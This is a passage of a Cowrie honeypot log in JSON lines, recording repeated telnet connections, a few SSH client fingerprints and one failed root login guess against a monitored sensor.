{"eventid":"cowrie.session.closed","duration":31.759817838668823,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:23.605387Z","src_ip":"142.93.2.99","session":"666dbfd52cbe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.40909290313721,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:25.490659Z","src_ip":"142.93.2.99","session":"d3fa14032f98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.13312840461731,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:29.179859Z","src_ip":"142.93.2.99","session":"b2e614e24896","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":50768,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7861eb61eb9","protocol":"telnet","message":"New connection: 142.93.2.99:50768 (159.203.135.109:23) [session: d7861eb61eb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:29.876785Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":50028,"dst_ip":"159.203.135.109","dst_port":23,"session":"733c055f32e6","protocol":"telnet","message":"New connection: 142.93.2.99:50028 (159.203.135.109:23) [session: 733c055f32e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:30.132249Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":51788,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea9a9fdcaecd","protocol":"telnet","message":"New connection: 142.93.2.99:51788 (159.203.135.109:23) [session: ea9a9fdcaecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:31.026285Z"}
{"eventid":"cowrie.session.closed","duration":32.802891969680786,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:32.181985Z","src_ip":"142.93.2.99","session":"cb3115f36f46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":50414,"dst_ip":"10.17.0.5","dst_port":23,"session":"111bb7795c5e","protocol":"telnet","message":"New connection: 104.245.105.2:50414 (10.17.0.5:23) [session: 111bb7795c5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:32.505621Z"}
{"eventid":"cowrie.session.closed","duration":34.491549253463745,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:34.663043Z","src_ip":"142.93.2.99","session":"1e767cb1a0f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":57068,"dst_ip":"159.203.135.109","dst_port":23,"session":"34537e5f0407","protocol":"telnet","message":"New connection: 142.93.2.99:57068 (159.203.135.109:23) [session: 34537e5f0407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:36.435633Z"}
{"eventid":"cowrie.session.closed","duration":32.49675893783569,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:37.422635Z","src_ip":"142.93.2.99","session":"8eee0877fcdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.53743243217468,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:39.314695Z","src_ip":"142.93.2.99","session":"347ae994c8bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.844592332839966,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:42.865490Z","src_ip":"142.93.2.99","session":"512e0abf4400","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.09364056587219,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:45.435716Z","src_ip":"142.93.2.99","session":"fb1d3b251792","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.24688243865967,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:45.682237Z","src_ip":"142.93.2.99","session":"8c62e28c4b9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.02277684211731,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:46.447390Z","src_ip":"142.93.2.99","session":"e33c06d06fbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.2759108543396,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:46.555629Z","src_ip":"142.93.2.99","session":"eff92e0ec495","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":39352,"dst_ip":"159.203.135.109","dst_port":23,"session":"193a28826d01","protocol":"telnet","message":"New connection: 142.93.2.99:39352 (159.203.135.109:23) [session: 193a28826d01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:48.173683Z"}
{"eventid":"cowrie.session.closed","duration":33.6348078250885,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:48.866972Z","src_ip":"142.93.2.99","session":"21d46c5494d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":41354,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd49934f87dc","protocol":"telnet","message":"New connection: 142.93.2.99:41354 (159.203.135.109:23) [session: dd49934f87dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:50.189713Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":47010,"dst_ip":"159.203.135.109","dst_port":23,"session":"2275d9634c72","protocol":"telnet","message":"New connection: 142.93.2.99:47010 (159.203.135.109:23) [session: 2275d9634c72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:55.174553Z"}
{"eventid":"cowrie.session.closed","duration":34.20496129989624,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:56.964931Z","src_ip":"142.93.2.99","session":"1ef9e69e4d25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":51254,"dst_ip":"10.17.0.5","dst_port":23,"session":"597bd3f7cba0","protocol":"telnet","message":"New connection: 104.245.105.2:51254 (10.17.0.5:23) [session: 597bd3f7cba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:57:59.700957Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":51260,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8f24f80a73f","protocol":"telnet","message":"New connection: 104.245.105.2:51260 (10.17.0.5:23) [session: a8f24f80a73f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:01.667747Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":52704,"dst_ip":"159.203.135.109","dst_port":23,"session":"9cc50a5dcbcc","protocol":"telnet","message":"New connection: 142.93.2.99:52704 (159.203.135.109:23) [session: 9cc50a5dcbcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:01.712083Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":52894,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1e61e28165b","protocol":"telnet","message":"New connection: 142.93.2.99:52894 (159.203.135.109:23) [session: b1e61e28165b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:03.073868Z"}
{"eventid":"cowrie.session.closed","duration":33.23804044723511,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:03.114705Z","src_ip":"142.93.2.99","session":"d7861eb61eb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.53617310523987,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:03.668245Z","src_ip":"142.93.2.99","session":"733c055f32e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.883763313293457,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:04.389262Z","src_ip":"104.245.105.2","session":"111bb7795c5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.34628415107727,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:05.372437Z","src_ip":"142.93.2.99","session":"ea9a9fdcaecd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.85441613197327,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:10.289963Z","src_ip":"142.93.2.99","session":"34537e5f0407","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":34242,"dst_ip":"159.203.135.109","dst_port":23,"session":"7107a8542343","protocol":"telnet","message":"New connection: 142.93.2.99:34242 (159.203.135.109:23) [session: 7107a8542343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:14.929860Z"}
{"eventid":"cowrie.session.closed","duration":120.0027084350586,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:16.821449Z","src_ip":"173.33.197.75","session":"76bab3f1a83d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.912855625152588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:19.086432Z","src_ip":"142.93.2.99","session":"193a28826d01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57974,"dst_ip":"10.17.0.5","dst_port":23,"session":"47dfcf82d90e","protocol":"telnet","message":"New connection: 104.245.105.2:57974 (10.17.0.5:23) [session: 47dfcf82d90e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:21.040927Z"}
{"eventid":"cowrie.session.closed","duration":33.31397819519043,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:23.503555Z","src_ip":"142.93.2.99","session":"dd49934f87dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":42044,"dst_ip":"159.203.135.109","dst_port":23,"session":"8840451e7196","protocol":"telnet","message":"New connection: 142.93.2.99:42044 (159.203.135.109:23) [session: 8840451e7196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:23.622313Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":40594,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6e021c5a58a","protocol":"telnet","message":"New connection: 142.93.2.99:40594 (159.203.135.109:23) [session: f6e021c5a58a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:24.754244Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":45424,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc02c15b0018","protocol":"telnet","message":"New connection: 142.93.2.99:45424 (159.203.135.109:23) [session: fc02c15b0018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:27.753882Z"}
{"eventid":"cowrie.session.closed","duration":32.76720714569092,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:27.941650Z","src_ip":"142.93.2.99","session":"2275d9634c72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":45902,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fed919467c4","protocol":"telnet","message":"New connection: 142.93.2.99:45902 (159.203.135.109:23) [session: 7fed919467c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:28.288320Z"}
{"eventid":"cowrie.session.closed","duration":31.466181993484497,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:31.167114Z","src_ip":"104.245.105.2","session":"597bd3f7cba0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":48626,"dst_ip":"159.203.135.109","dst_port":23,"session":"295b16ae7c7a","protocol":"telnet","message":"New connection: 142.93.2.99:48626 (159.203.135.109:23) [session: 295b16ae7c7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:31.832469Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":49134,"dst_ip":"159.203.135.109","dst_port":23,"session":"36aadc458979","protocol":"telnet","message":"New connection: 142.93.2.99:49134 (159.203.135.109:23) [session: 36aadc458979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:32.473958Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":49822,"dst_ip":"159.203.135.109","dst_port":23,"session":"042d91af3295","protocol":"telnet","message":"New connection: 142.93.2.99:49822 (159.203.135.109:23) [session: 042d91af3295]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:33.361095Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":49856,"dst_ip":"159.203.135.109","dst_port":23,"session":"47f6c3ac7699","protocol":"telnet","message":"New connection: 142.93.2.99:49856 (159.203.135.109:23) [session: 47f6c3ac7699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:33.403205Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.194.140.170","src_port":54046,"dst_ip":"159.203.135.109","dst_port":22,"session":"946d34c34376","protocol":"ssh","message":"New connection: 189.194.140.170:54046 (159.203.135.109:22) [session: 946d34c34376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:34.209468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:34.214106Z","src_ip":"189.194.140.170","session":"946d34c34376","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:34.318819Z","src_ip":"189.194.140.170","session":"946d34c34376","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dell123","message":"login attempt [root/Dell123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:34.740801Z","src_ip":"189.194.140.170","session":"946d34c34376","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.062697649002075,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:34.774682Z","src_ip":"142.93.2.99","session":"9cc50a5dcbcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:35.851544Z","src_ip":"189.194.140.170","session":"946d34c34376","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.010016441345215,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:36.083781Z","src_ip":"142.93.2.99","session":"b1e61e28165b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":51464,"dst_ip":"159.203.135.109","dst_port":23,"session":"35e1eea04f52","protocol":"telnet","message":"New connection: 142.93.2.99:51464 (159.203.135.109:23) [session: 35e1eea04f52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:36.537948Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":52790,"dst_ip":"159.203.135.109","dst_port":23,"session":"67e3488afa89","protocol":"telnet","message":"New connection: 142.93.2.99:52790 (159.203.135.109:23) [session: 67e3488afa89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:38.440014Z"}
{"eventid":"cowrie.session.closed","duration":36.7822208404541,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:38.449822Z","src_ip":"104.245.105.2","session":"a8f24f80a73f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":52036,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb904017f398","protocol":"telnet","message":"New connection: 142.93.2.99:52036 (159.203.135.109:23) [session: bb904017f398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:39.345964Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":55512,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8f44761ee3b","protocol":"telnet","message":"New connection: 142.93.2.99:55512 (159.203.135.109:23) [session: c8f44761ee3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:40.988760Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":55176,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ad29eff1aa6","protocol":"telnet","message":"New connection: 142.93.2.99:55176 (159.203.135.109:23) [session: 8ad29eff1aa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:41.485863Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":54068,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc9cea6600ed","protocol":"telnet","message":"New connection: 142.93.2.99:54068 (159.203.135.109:23) [session: dc9cea6600ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:42.101897Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":58232,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a16b00464d5","protocol":"telnet","message":"New connection: 142.93.2.99:58232 (159.203.135.109:23) [session: 8a16b00464d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:44.600091Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":58570,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5dd8f5b2c9c","protocol":"telnet","message":"New connection: 142.93.2.99:58570 (159.203.135.109:23) [session: d5dd8f5b2c9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:45.037026Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":59702,"dst_ip":"159.203.135.109","dst_port":23,"session":"42ccbb712dd2","protocol":"telnet","message":"New connection: 142.93.2.99:59702 (159.203.135.109:23) [session: 42ccbb712dd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:46.497580Z"}
{"eventid":"cowrie.session.closed","duration":33.728976011276245,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:48.658687Z","src_ip":"142.93.2.99","session":"7107a8542343","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":36138,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4894d0a2e30","protocol":"telnet","message":"New connection: 142.93.2.99:36138 (159.203.135.109:23) [session: c4894d0a2e30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:52.482804Z"}
{"eventid":"cowrie.session.closed","duration":31.501206159591675,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:52.542050Z","src_ip":"104.245.105.2","session":"47dfcf82d90e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":36554,"dst_ip":"159.203.135.109","dst_port":23,"session":"78de37dad123","protocol":"telnet","message":"New connection: 142.93.2.99:36554 (159.203.135.109:23) [session: 78de37dad123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:53.021849Z"}
{"eventid":"cowrie.session.closed","duration":31.267600774765015,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:56.021719Z","src_ip":"142.93.2.99","session":"f6e021c5a58a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.01602840423584,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:56.638234Z","src_ip":"142.93.2.99","session":"8840451e7196","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":39512,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b18b6ec0c42","protocol":"telnet","message":"New connection: 142.93.2.99:39512 (159.203.135.109:23) [session: 8b18b6ec0c42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:57.773540Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.22.58","src_port":58884,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbb6ab902287","protocol":"ssh","message":"New connection: 202.165.22.58:58884 (159.203.135.109:22) [session: cbb6ab902287]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:58.401896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:58.406246Z","src_ip":"202.165.22.58","session":"cbb6ab902287","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":40942,"dst_ip":"159.203.135.109","dst_port":23,"session":"25c9eb5c6c2e","protocol":"telnet","message":"New connection: 142.93.2.99:40942 (159.203.135.109:23) [session: 25c9eb5c6c2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:58:58.601459Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-